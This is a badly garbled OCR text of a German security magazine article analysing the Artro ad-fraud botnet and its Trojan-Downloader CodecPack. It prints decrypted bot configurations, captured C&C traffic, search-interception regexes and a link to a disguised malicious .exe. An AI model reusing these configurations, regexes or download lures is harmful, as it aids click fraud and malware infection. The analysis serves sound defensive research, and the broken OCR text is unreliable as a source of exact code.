zkB6II45vnmscul 5QH6KE80hDSShr‘486uI Shmy bFHxwOTrHExdIL S UL TZODZ X 79s apy3ZPpZENQroOR
+NAHYORZHI FZHEPMt‘I SWOEDPONSEPTw] ngWBI Fx2pIUIF7wWhxZEUPGO bk dMyvyw STk S+27 5 Sw3k,/ B

Abbildung 5. Kommunikation von HitBot mit dem Server
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{clickable>213< clickable’>
<visible>100{ /visibhle>
<searchlimit>3600<searchlimit>
<{pause>13</pause’
<time>1298584984<  tine>

<tag type="iframe" weight=""15" search="10" clicks=""1"
<feed><?[CDATA[http: //ad

id=""4090" clickable="55">
ruing.cpxadroit _consirsi2 _html?t=2-100492311><feed>

{ref><*[CDATALhttp:/“adserving.cpxadroit.com/i/i2 _htmnl11><{ /ref>

{stag’>

{tag type="iframe"
(feed)('[CDﬂTﬂ[http 4

weight="15" search="1"" clicks="1" id="'4534" clickabhle="163">
edby.adxpover.comsservietsajrotator 274225 /0 -vh?z=adxdin=232613&kuv=uk11><{ feed>

{ref *{*[CDATA[http: /servedby. adxpowver comsservlets/ajrotator 274225 /0,113 /ref >

Lo/tag>

<tag type="iframe"
<feed >t [CDATALhttp://ad.reduxmedia.com.
<ref >{*[CDATALI1>{ ref>

<{stagl

weight="20" search="6" clic 1" id="4635" clickah
?ad_type=iframekad_size=728x90&section=136969411>{feed>

="532" refid="redux">

<tag type=""iframe" weight=""20" ="20" clicks="1" id="4715" clickable=""161"">

<feed><*[CDATA[http: /.
{ref><?*[CDATA[http://ads
{/tagd
<referrers’>

<section refid="redux">

e-planning.netsehs3-20a4-032aabf 736c3c?3a?o=f &rnd=777&p=-e4664a344eB8f 2807 11><{feed>
—planning.net/11><{/vef >

1"><*[CDATALhttp: - fastmega.coms11><{ ref>

5Y>*[CDATALhttp:/freecodesource -com/ 11> ref>
*ICDATALhttp:/#freevebtemplates.con/]112<{ vref >
[CDATALhttp: /»1livescore.con/11>< ref>

{/section’
{section refid="playnyfl
{ref weight=

—n Lcom">

[CDATALhttp: 7AuthenticPlay.com]1>< /vef >

{ref u [CDATALhttp: - BustyPlay.com] 1>{ ref >
{ref wei [CDATALhttp: /#CustomTutor.com11>{ ref>
{ref wei {*[CDATALhttp: -/ EditConsole.com11>{/ref’>

<s/section’

{rreferrers’

<{tag type=""direct’ weight=""30" search ick:
{fFeed>{* [CDATA[http: //playmyf la
Lref ><*[CDATA[http:  #vuwu.google .

{s/tag)
<config>
<url po
<url pos
{url cryp n
<~sconfig>
{requestpause X86400<{ /requestpause >

">http:/shuhter.comsad_type.php{ url>
T>http://weddint .comsad_type . phpd url>

Abbildung 6. Beispiel der entschliisselten config-Datei fiir BannerBot

munikationsprotokoll mit dem Server identisch mit dem
Downloader-Protokoll.

Jeder Bot fordert in regelmafRigen Abstdnden vom
Steuerungsserver die Konfigurationsdatei mit den fur
ihn spezifischen Parametern an.

Die Domains der Steuerungsserver, mit denen die
Bots interagieren, unterscheiden sich von den Down-
loader-Domains und werden vergleichsweise selten
ausgetauscht.

Zum gegenwartigen Zeitpunkt sind funf Hauptpro-
gramme bekannt, die der Downloader auf die infizierten
Computer ladt.

BannerBot

Dieses Programm erhalt tUber die Konfigurationsda-
tei Links zu Werbebannern, die es anklickt. Alterna-
tiv kann es auch vorkommen, dass der Bot Links zu
Seiten erhalt, auf denen er mit dem div-Tag Werbe-
banner zum Anklicken findet. Einen Teil der Banner
zeigt der Bot dem Anwender. Unter den Parametern
in der Konfigurationsdatei befindet sich das Feld ,re-
ferrer®, das einen Link zur Quelle der Anfrage enthalt.
Von dort aus ist der Anwender auf die zu bewerbende
Seite gelangt.

New bb

New_bb funktioniert ahnlich wie BannerBot, schickt
dem Server allerdings einige zusatzliche statistische
Parameter Uber seine Arbeit und kann mit dem Server

+ HARKING

id=""1013" clickabhle="60" refid="playmyflash.comn” header="1" div="ad_hanner">
index.php113{/feed>
search?g=playmyf lash.com11>{/ref>

post="on">http:/ warhe .com/ad_type.php{ url>

interagieren, ohne eine Konfigurationsdatei zu erhalten.
In diesem Fall leitet der Server, der eine POST-Anfrage
vom Bot erhalt, diesen mit dem Antwort-Code 302 auf
einen anderen Server um. Aus dem HTTP-Cookie ,Set-
Cookie" in der erhaltenen Antwort holt sich der Bot die
notigen Parameter. Dazu zahlt etwa das Feld ,referrer®
fur die anzufragenden Links zu den Bannern und die
Zahl der Klicks auf die Banner bis zum nachsten Kon-
takt mit dem Server.

Der weitere und damit zweite Server sendet ein Ja-
vaScript-Programm, in dem sich ein Link zum Banner
befindet, das im Browser ausgefihrt wird.

BEE

7 Follow TCP Stream

Stream Cortent

POST /Awave.php HTTP/L.1
laccept: /%

contant-Type: appli cation/x—www-Form-ur Tencoded

Host: homebuyling, com

User-Agent: Muzﬂ1a/4 0 (compatible; MSIE 6.0; windows NT 5.0)
content-Length: 47

connection: close

Cache-Control: no-cache

data:
E6r8hZQgFaTFthVXZEFXn03]FndZZZdFZOtgFAKTLX]LOIT4pW4A9mC1EOZZR73hAXhupTZgM6x3OEdCSdWMJO
VIRPYTIOUS0wI FLE/NTPwLT3 Txr OxI¥paRNEXapIKCq] BgoGXCT h7C P wnTLSGNEEH,
mqbauBswaFVJuGIVqutvxubIAPtSpAﬂgquvdEAkaQDQWPnIgZvayqolrgR41DwawnaHaoFE7XVTnthFy
AQELHURT]1GI0RT eamy s UMMk xGCXQr SELpGRZmpr BnGGRNOSTURTEUT yXTZ 71
HCOMSCSE04MK Y 8CYESEAIWWMWENMC 20 GHWOBXE LoUC 2 EMgobox ]
+XtwpYhPxtkUHOZF408hbo SFIMUZLP70g=HTTR1.1 302 Moved Temporarily
server: nginx
Date: Sat, 05 Feb 2011 14:29:39 GWMT
Content- Type text/ht ml
Content-Lengt h

peasTins

set-Cookie: 52551un-zuqq45t5xq:lo§'\ BECVIyvlzwkiOROIrrmMic=

Set-Cookie: id=vPGwGw==

set-Cookie: counter=10

Set-Cookie: stime=Ff2s+4E

Location: hrtp:/Autling. com/Zwava php?yfecr 8MZREITI0T SaLQamalTy] 32mow==

v
b

T DG O e Do B
Help [ gos | [[Fiter out This Srearn

Abbildung 7. New_bb bekommt (iber das HTTP-Cookie ,Set-
Cookie” neue Instruktionen und wird auf einen anderen Server
umageleitet
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Das Werbe-Botnetz Artro

PopupBot

PopupBot erhalt in der Konfigurationsdatei Links zu
Skripten, die Popups 6ffnen. Uber diese wird ein Klick
mit dem Ubergang auf eine beliebige Website durchge-
fuhrt. Einen Teil der Popups zeigt der Bot dem Anwen-
der. Unten stehendes Codebeispiel zeigt das Feld ,re-
ferrer® fir den Link zu den Skripten.

HitBot
Dieser Klicker erhalt vom Server die Aufgabe, in vorge-
gebenen Zeitintervallen Netzressourcen Uber das Feld
.referrer” anzufordern.

Ist der Parameter ,ref* in der Konfigurationsdatei leer,
treibt HitBot wie im Parameter ,url“ vorgegeben einfach
die Besucherzahl der Webseite in die Hohe.

Oms

Dies ist der einzige Bot, der als dynamische Bibliothek
daherkommt und im System als Dienst installiert wird.
Er unterstitzt reguldre Ausdricke und fangt Suchanf-
ragen des Anwenders an Google, Bing und Yahoo ab.

Nachdem er die Anfrage des Anwenders abgefangen
hat, schickt Oms die Parameter in verschlusselter Form
an den Server. Unter diesen Parametern befinden sich
die Suchanfrage des Anwenders und die Webadresse
der Suchmaschine.

Abhangig von der Anwenderanfrage kann der Server
eine Konfigurationsdatei schicken, die einen bestimm-
ten Link sowie das dazugehdorige Feld ,referrer” enthalt.
Klickt der Anwender auf eine beliebige Webseite aus
der Suchergebnisliste, wird er auf diese Webseite um-

' Follow TCP Stream g@@]

Stream Conkent

ACCEpT: W/ W

referer: http: s sad. adfunky. com/s
AcCcept-Language: en-us
Accept-Encoding: ?zip, deflate
User-agent: Mozil

2.0.50727; .MET CLR 3.0.04506.30)
Host: thevehic.com

Connection: kKeep-Aliwve

HTTR/SL.1 200 QK

Server: nginx/0.7.62

Date: Mon, 21 Feb 2011 17:08:10 GMT
Content-Type: Text html
Transfer-encoding: chunked
Connection: close

12

0
. Entire conversation li_?BD Eyte%)

GET /2wave.php?rfefr8E2REITO]5aKABTIATTg]32mogw== HTTFR/1.1

a/4.0 Ccompatible; MSIE &6.0; windows NT 5.1; Swl;

document.writel' <! -— BEGIM STAMDARD TAs — 300 x 250 - http:/fad. adfunky. com/: Run-of-site
- DO MNOT MODIFY —-><IFRAME FRAMEBORDER=0 MARGIMWIDTH=0 MARGINHEIGHT=0 SCROLLIMNG=MND
WIDTH=300 HEIGHT=250 SRC="http:/ ad.adfunky.com/st?
ad_type=iframedad_size=300x250&section=1610322"></IFRAME><! —— END Ta&G —-3>'J;

LNET =R

bl |

w [T ascIn O EBCDIC ) Hex Dump () C Arrays (5) Raw

I Close l [ Filter Cut This Stream l

Abbildung 8. New_bb erhdilt ein JavaScript-Programm vom zweiten Server

Kroot >
{pop wait="19" exit="16" visible="off" click="off">

<htm1><{?* [CDATAL<*—— BEGIN STANDARD TAG — popup or popunder — travel-uvideos.com: Run—of-site — DO NOT MODIFY —-3

KSCRIPT TYPE="text/javascript"

SRC="http:/~ ad.scanmedios.com/stTad_type=pop&ad_size=0x0D&section=1653688&banned_pop_types=28&pop_times=1&pop_freguency=0">

K~SCRIPT>

K*—— END TAG —>113<{/html}
<pref><{*I[CDATALhttp:  travel-videos.com11>< ref>
{s/pop>
{pop wait="19" exit="17" visihle="off" click="off">

<htm1><{?* [CDATAL<?— BEGIN STAMDARD TAG — popunder only — MyAnimalCGlips: Run—-of-site — DO WOT MODIFY ——3>

KSCRIPT TYPE="text javascript”

SRC="http: rad.theadhost _con/st?ad_type=poplkad_size=0xDksection=1213437kbanned_pop_types=29%pop_t ines=3&pop_frequency=86400">

K~8CRIPT>

[Kt—— END TAG ——>11><s/html}>
<pef>{t [CDATALhttp: -/ myanimalclips . com11></pef’
{/pop>
{pop wait="19" e
<htm1)(!é

0" yisible="off" clic
[<SCRIFT TYPE="text.j

R ttp:-sad.globe?.conss
<s/SCRIFT>11></htnl>

Cpef><?[CDATAThttp://game—spotting.com11>< ref>

£/pop>
{pop wait="19" exit=""34" wvisible="on" click=""off">

3y
ype=poplad_size=-0x0&section=1545420&banned_pop_types=30&pop_t imes=3&pop_frequency=86400">

<htm1><{? [CDATAL[<*-— BEGIN STANDARD TAG — popup only — ROS: musi-c—lips.com — DO NOT MODIFY —>

KSCRIPT TYPE="text/javascript"

SRC="http:/~ ad.harrenmedianetwork.comsst?ad_type=popkad_size=0x0&section=1511280&banned_pop_types=30&pop_tines=1&pop_fregquency=86400"'">

K~SCRIPT>

Abbildung 9. Entschliisselte Server-Instruktionen fiir PopupBot

hakin9.org/de
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{wait >0l uait>

<html>

”lttp //85 17 230.15/cross . php?c=4d836sFUFRPIOSQhCRUaPq8:2BXiSJ T hi2BxU 1Xub
d><{/tr>
.:nm(/td)(/tl )

£/html>
{url><*[CDATA[http://85.17.230.15/cross.php?c=4d836sf UF RPI0SQhCRVaPg822BX i8]
grel:‘)(! L[CDATA [?Eip;//myNEdi:m‘! -coms113</vef>

® use="101"

u
<{/hit>
<hit>

<shitd

<config

Surldhttp:/ hestfy solution.php</url>

§u11 crypt= ”un")http //1 ltf :nm/xe«olu::un rhp{ url>

028 rwait>

<sconf iy

Lgethit>

Surldhttp://yardfg.c rders . php:

{url crypt= ”un")http //f1| ta :nm/holdel -php< /url>
<rgethit>

Abbildung 10. Entschliisselte Server-Instruktion fiir HitBot

geleitet.

Der Link aus einer Konfigurationsdatei kann Anwen-
der beispielsweise auf eine Seite umleiten, die wie
der Windows Explorer aussieht und scheinbar einen
Schadprogramm-Scan durchfuhrt. AnschlieRend wird
dem Anwender angeboten, ein gefalschtes Antiviren-
Programm herunterzuladen.

Die Webseiten, die sowohl vom Bot Oms als auch
von anderen CodecPack-Bots gedffnet werden, kdnnen
unterschiedliche Inhalte haben. Ein Beispiel daflir zeigt
der folgende Screenshot.

Geld
Die Botnetz-Inhaber verdienen wie bereits erwahnt
an den Downloads von Dritt-Schadprogrammen, dem

Hochtreiben von Traffic und Klicks sowie dem Anzeigen
von Webseiten unterschiedlicher Inhalte. Wir kdnnen
nicht sagen, wie viel die Kriminellen mit den Downloads
einnehmen, doch ihre Erlése aus der Erhéhung des
Traffics und der Klicks kénnen wir ungefahr abschat-
zen.

Auf welche Weise verdienen die Betreiber von ,Wer-
be-Botnetzen?

Viele Inhaber von Webseiten sind daran interessiert,
ihre Besucherzahlen zu erhdhen und nehmen deshalb
die Dienste der Werbenetze in Anspruch. Um mehr Be-
sucher anzulocken, werden entsprechende Links auf
Seiten platziert, die Mitgliedern des Werbenetzes ge-
horen. Der Auftraggeber zahlt den Inhabern des Netzes
einen bestimmten Betrag fur jeden angelockten Anwen-
der. Die Inhaber der Webseiten, auf denen die Links
platziert wurden, erhalten Geld fir jeden Anwender, der
von ihrer Seite auf die Webseite des Auftraggebers ge-
langt ist.

Viele Werbedienste nutzen Partnerprogramme, um
Werbelinks auf mehr Webseiten platzieren zu kénnen.

Um die Einnahmen durch die Nutzerumleitung auf die
Ressourcen des Auftraggebers noch weiter zu erhohen,
nutzen einige Webseiten-Inhaber, die Werbelinks schal-
ten, die Botnetzbetreiberdienste. Die Bots emulieren
den Ubergang der Anwender von den Werbeseiten auf
die beworbenen Ressourcen. Dazu schleust der Bot im
Feld ,referrer” der HTTP-Anfrage die Webseiten-Adres-
se des Auftraggebers ein oder Gbermittelt in den Anfra-
ge-Parametern die ID des Werbenetz-Partners.

Bei einem solchen Betrugsschema verdienen die
Botnetzbetreiber, ihre unredlichen Partner und die

(http'!!)?([ A1 3 Pgoogles. [/ 1=ssearcha (o #& D Tg=C [ "R I=> (k. =37

Chttp:z /222 [/ 1% d?yahoos. [/ 1% /search; [*\7 1= 252 =B ?p=C [ "B 1D (& =>?
(http:ff}?([“f]*\.}?hing\.[“K]*fsearch\?(.*&}?q=([“&]*)(&.*3?

Chttp:z /727 [* /1% d7google~. [/ 1%/ {searchiurl )7 { &> 7q=C["RI=I(&.=>7?
Chttp:z 72?19 >Tgoogles. [/ 1%/searcha? (. sk > Thl=( [ I=>{&_=>7

Chttp:z 27 CL 132 yahoo™. .=

Abbildung 11. Reguldre Ausdriicke, die Oms zur Auswertung der Anwenderanfrage verwendet

mid=00Z2cfd9defc545feblbelSarde5553abfdb2albeipin=00009bfesversion=7&cd=JTan 25
2011,19:32:43 fgg=b lackglang=rusaccept language=ru, en-us; g=0.7,en; g=0.3 suseragent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3)

Geckos 20100401 Firefox!S.6.3kd0main=www.google.ruksearchnum=5

Abbildung 12. Entschliisselte Parameter, die der Bot Oms an den Server gesendet hat

4
<*[CDATALhttp:--64.111.211 .163/c.php?

“ourl >

ref >
<Y [CDATALhttp: Avuvw_buzinesszite.net search.phpfg=hlackl]1>
oref

<sclick>
<sroot >

Abbildung 13. Entschliisselte Server-Instruktionen flir Oms
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Das Werbe-Botnetz Artro

Inhaber von Webseiten, die Werbelinks platzie-
ren. Auch die Einnahmen der Werbenetze steigen
auf diese Weise. Nur der Auftraggeber schreibt ro-
te Zahlen: Wahrend er Geld fir Werbung bezahlt
hat, bekommt er keine Webseitenbesucher, die die
beworbenen Dienstleistungen in Anspruch nehmen
konnten.

Wir nehmen an, dass viele Webseiteninhaber und
Partner von Werbenetzen nichts davon wissen, dass
das Botnetz ihnen zu héheren Einnahmen verhilft.

Im Rahmen der Untersuchungen des Botnetzes ha-
ben wir eine Vielzahl von Systemen zum An- und Ver-
kauf von Traffic aufgespurt, mit denen verschiedene
Bots von CodecPack interagieren. Hier ein kleiner Aus-
zug dieser Dienste (Informationen aus den Konfigurati-

Abbildung 14. Webseite, die einen Antiviren-Scan des Computers

imitiert onsdateien) (Tabelle 1.).

— —— Diese Liste enthalt sowohl Uberaus bekannte, stark

e — : “  frequentierte Werbedienste als auch Dienste mit zwei-
Owee Yioing: felhaftem Ruf. Die Links, die diese Domains enthalten,
oun e roosuwmhon  atwwen e oueoin sk soosn : wurden von den Bots zusammen mit einer Vielzahl von

Werten im Feld ,referrer® oder mit Identifikatoren der
Partner empfangen. Nachfolgend einige Webseiten,
deren Besitzer Trafficerhdhung in Auftrag gaben, die
von den Betreibern des Botnetzes im Februar 2011 an-
geboten und deren URLs als ,referrer” verwendet wur-
den (Tabelle 2.).

. s | D e B s e — Es wird beispielsweise die Adresse businessite.net in
Abbildung 15. Beispiel fiir eine Webseite, die ein Adware- das Feld ,referrer” fur den Bot Oms eingetragen. Und
Programm 6ffnet so wird diese Seite in einem der Dienste bewertet, die

Websites des
Werbungsgebers
von Website-
nern

netzdie
abern und

Partner mit
Identifikator
123456

Werbenetz

Websites mit Links auf
die Site des
Werbungsgebers

Abbildung 16. Betrugsschema des Botnetzes

hakino.org/de HaRINGS .
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Informationen tber den Erlés und Wert von Webseiten
bereitstellen (Abbildung 17.).

Im Rahmen unserer Untersuchungen fanden wir he-
raus, wie viele Klicks jedes Modul innerhalb von 24
Stunden durchschnittlich auf die in der Konfigurations-
datei angezeigten Links durchfiihrt. Mit Kenntnis dieser
Zahl und Faktoren wie der durchschnittlichen Bezah-
lung der Werbedienste pro Klick, der Mindestanzahl
an Bots im Zombienetz und dem wahrscheinlichen An-
teil der Botnetzbetreiber am Verkauf des Traffics sind
wir in der Lage, das mutmafliche Einkommen der Cy-
berkriminellen zu berechnen. Nach unseren Einschat-
zungen betragt es zwischen ein- und zweitausend US-
Dollar pro Tag.

Es bleibt anzumerken, dass der Bot Oms in die-
ser Berechnung nicht berucksichtigt wurde. Dessen
Klicks hdngen ausnahmslos vom Verhalten des An-
wenders bei den von ihm durchgefiihrten Anfragen
an Suchmaschinen ab. Aullerdem muss man beden-

ken, dass die Cyberkriminellen die Klickhaufigkeit
der Bots aulerst flexibel einstellen kédnnen. Dadurch
Iasst sich das Verhalten eines echten Anwenders rea-
listisch imitieren: Die Klicks werden nicht in regelma-
Bigen Abstanden, sondern innerhalb einer bestimm-
ten Zeitspanne mit darauffolgenden langeren Pausen
durchgefuhrt.

Erfreulicherweise verfligen einige Werbedienste be-
reits Uber Technologien, die das Traffic-Pushing erken-
nen. Die Auftraggeber sollten ihrerseits Sorgfalt bei der
Auswahl des Dienstes walten lassen, der die Anwender
auf ihre Webseite locken soll.

Verbreitung

CodecPack gelangt auf verschiedenen Wegen auf die
Computer der Anwender. Das bedeutet, dass die Be-
treiber von Artro zur Verbreitung ihres Downloaders
auf Dienstleister zurlckgreifen, die Malware auf den
Rechnern der Nutzer installieren. Der Downloader

Tabelle 1. xxxxxxxxx
servedby.adxpower.com
ad.reduxmedia.com
ads.e-planning.net
adserver.thegrids.info
edgel.srvi23.net
ads.react2media.com
ad.adfunky.com
ads.creafi-online-media.com

ads.clicksor.com

Tabelle 2. xxxxxxxxx
businessite.net
hollywoodrag.com
freecodesource.com
eonline.com
kitchen.apartmenttherapy.com
tabcrawler.com
armorgames.com
animelyrics.com
inquirer.net
travel-videos.com
sport-tube.com
bestflasher.com
comedy-clips.com
yourfunnytube.com
tubefaster.com
playmyflash.com
game-spotting.com

myanimalclips.com

- HARINS

ad.tlvmedia.com
xml.admanage.com
information-seeking.com
ad.bharatstudent.com
ad.adserverplus.com
adserving.cpxinteractive.com
ad.harrenmedianetwork.com

ad.e-viral.com

figl.com

ovguide.com
trailersplay.com
popphoto.com
musi-c-lips.com
investopedia.com
urbanmusic2000.com
projectplaylist.com
muztuber.com
cars-in-clips.com
trailersandvideos.com
newsvidz.com
gamevid.com
lifestylefood.com.au
accesshollywood.com
favoritecartoons.com
fastmega.com
freewebtemplat.com

livescore.com

ad.scanmedios.com
ad.globe7.com
ad.xtendmedia.com
ad.adperium.com
ad.yieldads.com
ad.adnetwork.net

adserving.versaneeds.com

bossip.com
bradenton.com
ehow.com
reference.com
allgame.com
chaptercheats.com
hypegames.com
dailyitem.com
jalopnik.com
automotto.com
dieselstation.com
gm-volt.com
autotips.com
premiere.com
motorpia.com
vuwl.com
searchci.com
enter-search.com

mymedicare.com
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businessite.net worth 2,353,320 USD

lﬁlginessite .net Title:
_ o [
"l

Description:

busine=s=ite.net annual revenue:

busine=zsite.net la=t

businessite.net monthly growth:

month revenue:

1,176,660 USD
98,055 USD
0.0%

Abbildung 17. Werteinschdtzung der Webseite businessite.net und deren Erlése durch websiteworths.com

CodecPack wird Uber Botnetze verbreitet und in die-
sem Fall erfolgt seine Installation auf vorher bereits
mit einem Trojan-Downloader infizierten Computern.
Er kann sich ebenfalls mit Hilfe von Exploit-Packs
ausbreiten: Dazu reicht es aus, dass der Anwender
eine infizierte Webseite besucht und schon ladt das
darauf platzierte Exploit CodecPack auf seinen Com-
puter und fihrt den Schadling aus. Ein recht extre-
mes Beispiel fir die Verbreitung des Downloaders
Uber Exploits war der Spamversand, den Kaspersky
Lab im Marz 2011 nach dem Erdbeben in Japan re-
gistrierte. Die Spam-Mails enthielten einen Link zu
einer schadlichen Webseite, die Trojan-Downloader.
Win32.CodecPack lber ein Exploit auf dem Compu-
ter des Nutzers installierte.

Die Hauptinfizierungsmethode von CodecPack ist
banal: Der Anwender 1adt sich die schadliche aus-
fuhrbare Datei selbst auf den Rechner und startet
sie dort. Selbstverstandlich fluhrt heutzutage kein

e e

C

O 24 Houns LINE

Lindsay Lohan vidao

Abbildung 18. Webseite eines gefilschten Videoportals

hakin9.org/de

Anwender ,einfach nur so“ aus reiner Neugier eine
unbekannte Datei auf seinem Computer aus. Doch
die Cyberkriminellen berlcksichtigen diesen Um-
stand und platzieren den Trojaner als Codec, als
legales Programm, als Keygenerator oder als Pro-
gramm zur Entfernung eines Software-Kopierschut-
zes (,Crack”) auf so genannten Warez-Sites. Codec-
Pack wird auch Uber gefalschte Blogs, Videoportale
und Porno-Webseiten verbreitet, die eigens zur Infi-
zierung von PCs erstellt wurden. Zieht man die Cha-
rakteristik dieser Webseiten in Betracht, kann man
davon ausgehen, dass hauptsachlich Freunde kos-
tenloser Software, Porno-Liebhaber sowie einfach
nur unbedarfte Anwender in diese Falle der Cyber-
kriminellen tappen.

Wie geht das vor sich? Nehmen wir einmal an, der
Anwender ist auf die Webseite eines gefalschten Vi-
deoportals gesurft, um sich dort ein Filmchen anzu-
schauen.

Im Display des Players wird darauf hingewiesen,
dass es zum Anschauen des Videos mdglicherwei-

Trembla News Blog |

eme  BSS

Westminster Dog Show a
13 T

Westminster Dog Show

allison
arig apola

Abbildung 19. Gefdlschter Blog
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se erforderlich ist, einen Codec herunterzuladen. Off-
net sich beim Versuch, den Film abzuspielen, also
ein Standard-Dialogfenster und wird dem Anwender
darin angeboten, eine ausfuhrbare Datei mit einem
vertrauenseinflolenden Namen (zum Beispiel DivX-
codec.exe) zu speichern oder auszufiihren, startet
der Nutzer sie ohne Bedenken, da er davon ausgeht,
dass es sich um den benétigten Codec handelt. Tat-
sachlich aber startet er damit das Schadprogramm
Trojan-Downloader.Win32.CodecPack, dessen Na-
me diese Methode zur Malware-Installation auf den
Computern der Anwender beschreibt. Auf ahnliche
Art und Weise werden PCs infiziert, deren Anwender
sich pornografische Inhalte auf gefalschten Porno-
Webseiten oder Beitrdge in erfundenen Blogs anse-
hen méchten.

Beim Versuch des Anwenders, das im Blog veréffent-
lichte Video anzuschauen, 6ffnet sich eine Webseite mit
der Abbildung eines Videoplayers.

Tatsachlich ist das aber kein Videoplayer, sondern nur
ein Bild, hinter dem sich ein Link zu einer schadlichen
Datei verbirgt:

<A href=“http://mo***ilite.in/vimeoHDRviewer.40014.
exe“><IMG src="“xplayer.gif"“

border=0></A>

Wie bereits beschrieben, klickt der Nutzer nun auf die
Abbildung des Players, woraufhin ihm vorgeschlagen
wird, den ,Codec” herunterzuladen. Dass nach dem
Download und Start des Programms keinerlei Videos
gezeigt werden, daflir aber der Computer infiziert ist,
muss eigentlich gar nicht mehr erwahnt werden.

Versucht der Anwender, Software, einen Keygenera-
tor oder einen Crack von einer Warez-Seite herunterzu-
laden, kommen noch seltener Zweifel auf — schliellich
hat der Nutzer die Webseite ja eigens zu dem Zweck,
ein Programm herunterzuladen, besucht. Allerdings
enthalt die auf den Computer geladene Software nichts
aulder einem Trojaner.

T We—— e Rl L. I

B o i K|

Lot ey 8] Vi (100}

Abbildung 20. Webseite mit Abbildung eines Videoplayers

« HAKINGS

Kommen wir nun dazu, wie der Anwender auf Websei-
ten gelangt, die Links zu schadlichen Dateien enthalten.
Um den Zustrom von Nutzern auf solche Seiten sicher-
zustellen, wird die ,schwarze“ Suchmaschinenoptimie-
rung eingesetzt (Black SEO). So erscheint der oben
dargestellte gefalschte Blog nach Eingabe verschiede-
ner Schliisselworter in die Suchmaschine bing.com be-
reits auf der zweiten Seite in der Ergebnisliste. Zudem
werden Weiterleitungen zu Webseiten mit schadlichen
Links in Kommentaren zu Beitragen verschiedener
popularer Blogs und in Nachrichtenportalen unterge-
bracht.

Die schadlichen Links auf einer Vielzahl von Websei-
ten flhren alle zu ein und derselben Domain. Die Do-
mains in den Links andern sich mehrmals pro Tag.

Das Ausmaf des Problems

Das erste Sample von CodecPack entdeckte Kaspersky
Lab im Sommer 2008. Innerhalb von zweieinhalb Jah-
ren nahm das Botnetz Artro enorme Ausmale an: Im
Januar 2011 wurde CodecPack mindestens einmal bei
etwa 140.000 unserer Anwender entdeckt.

Interessant ist der Vergleich dieser Zahl mit den Da-
ten, die direkt von den Servern der Cyberkriminellen
stammen. Wir sind in den Besitz von Log-Files von ei-
nem der Back-End-Server des Botnetzes gekommen,
die solche Informationen enthalten wie etwa die IP-Ad-
resse des Computers, von dem eine Anfrage an das
Steuerungszentrum gerichtet wurde. Dazu kommen
Datum und Zeit der Anfrage sowie das Land, in dem
sich der infizierte Computer befindet. Auf der unten ste-
henden Grafik ist die Anzahl der einzelnen IP-Adressen
pro Tag dargestellt, die vom 24. April bis zum 7. August
2010 Anfragen an das Steuerungszentrum des Botnet-
zes richteten.

Die Grafik zeigt, dass die Zahl der einzelnen IP-Ad-
ressen an einigen Tagen die 150.000-Marke erreichte.
Dabei ist zu berlcksichtigen, dass wir nur tiber Log-Da-
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Abbildung 21. Webseite, die den Downloader Trojan-Downloader.

Win32.CodecPack verbreitet, getarnt als gehackte lizenzierte
Software
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Das Werbe-Botnetz Artro

Kaspersky Lab|  teien von einem Back-End-Server verfiigen und es min-
destens drei solcher Server in einem Botnetz gibt. Aller-
dings ist nicht klar, ob die Log-Files zentral auf einem
der Server gespeichert werden oder jeder Server seine
eigenen Log-Dateien hat. Im zweiten Fall kdnnte sich
herausstellen, dass die tatsachliche Zahl wesentlich ho-
her liegt als die oben angegebene.

Den Daten aus den Log-Dateien zufolge wurden
Computer von Anwendern in 235 Landern der Welt mit
dem Schéadling Trojan-Downloader.Win32.CodecPack
infiziert. Die folgende Tabelle zeigt die 20 am starksten
betroffenen Lander.

Diese Liste ahnelt der mit Hilfe des Kaspersky Securi-
ty Networks (KSN) ermittelten Statistik sehr stark: Die in

den Top 20 vertretenen Lander sind nahezu gleich, nur
Abbildung 22. Anzahl der Domains, von denen aus CodecPack im die Positionen im Ranking unterscheiden sich.

Laufe eines Tages heruntergeladen wurde
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Abbildung 23. Anzahl von Anwendern, auf deren Computern Trojan-Downloader.Win32.CodecPack entdeckt wurde
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Abbildung 24. Anzahl einzelner IP-Adressen in den Log-Files des Steuerungszentrums
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ABWEHR

Tabelle 3. Verteilung der mit Trojan-Downloader.Win32.
CodecPack infizierten Computer nach Lédndern (laut Daten aus den
Log-Dateien)

Antel in Prozent

USA 14,46 %
Brasilien 6,45 %
Indien 5,65 %
Deutschland 5,87 %
Mexiko 4,08 %
Frankreich 2,45 %
Italien 2,28 %
Grof3britannien 2,26 %
Spanien 2,14 %
Kolumbien 2,01 %
Vietnam 1,78 %
Tirkei 1,53 %
Ukraine 1,47 %
Kanada 1,43 %
Iran 1,43 %
Pakistan 1,38 %
Indonesien 1,35%
Thailand 1,31 %
Peru 1,27 %
Argentinien 1,25 %
Sonstige 27,51 %
Der Packer

Die Ausbreitung des Botnetzes wird insbesondere da-
durch beglnstigt, dass die Virenschreiber ihren Down-
loader CodecPack mit einem Packer schitzen, um so
der Entdeckung durch Antiviren-Programme entgegen-
zuwirken. Wie bereits oben erwahnt, sind die Werbe-
Dateien, die der Schadling Trojan-Downloader.Win32.
CodecPack herunterladt, mit dem gleichen Packer wie
auch der Downloader gepackt. Der Packer ist poly-
morph und setzt Anti-Emulationsmethoden ein.

Der Downloader und die von ihm heruntergeladenen
Dateien werden recht haufig neu gepackt — mindestens
einmal pro Tag —, was die Entdeckung des Schadlings
erschwert.

Im Rahmen eines kleinen Experiments verschickte
der Antiviren-Scan-Dienst Virustotal den Downloader
Trojan-Downloader.Win32.CodecPack, den Cyberkri-
minelle zwei Tage vorher verbreitet hatten. Das Tester-
gebnis war gar nicht einmal so schlecht: 40 von 43 An-
tiviren-Programmen erkannten die Datei als schadlich.

Das gleiche Prozedere wurde mit einem Sample
durchgefiihrt, das die Virenschreiber am Tag der Un-
tersuchung verbreitet hatten. Die Ergebnisse waren
diesmal — milde ausgedriickt — nicht unbedingt berau-
schend: Nur 11 von 43 Antiviren-Produkten erkannten
die Datei als schadlich (Abbildung 27.).

Es stellte sich heraus, dass die Cyberkriminellen die
Entdeckung neu gepackter Programme aktiv verfolgen.

« HAKINGS

Tabelle 4. Verteilung der Entdeckungen von Trojan-Downloader.
Win32.CodecPack auf den Computern der Anwender nach Lédndern
(entsprechend der KSN-Statistik)

Anteil in Prozent

Indien 10,64 %
USA 9,16 %
Deutschland 548 %
Russische Foderation 4,61 %
Italien 4,15 %
Vietnam 3,64 %
GroBbritannien 3,63 %
Saudi Arabien 2,92 %
Frankreich 2,77 %
Malaysia 2,55 %
Brasilien 2,45 %
Spanien 2,34%
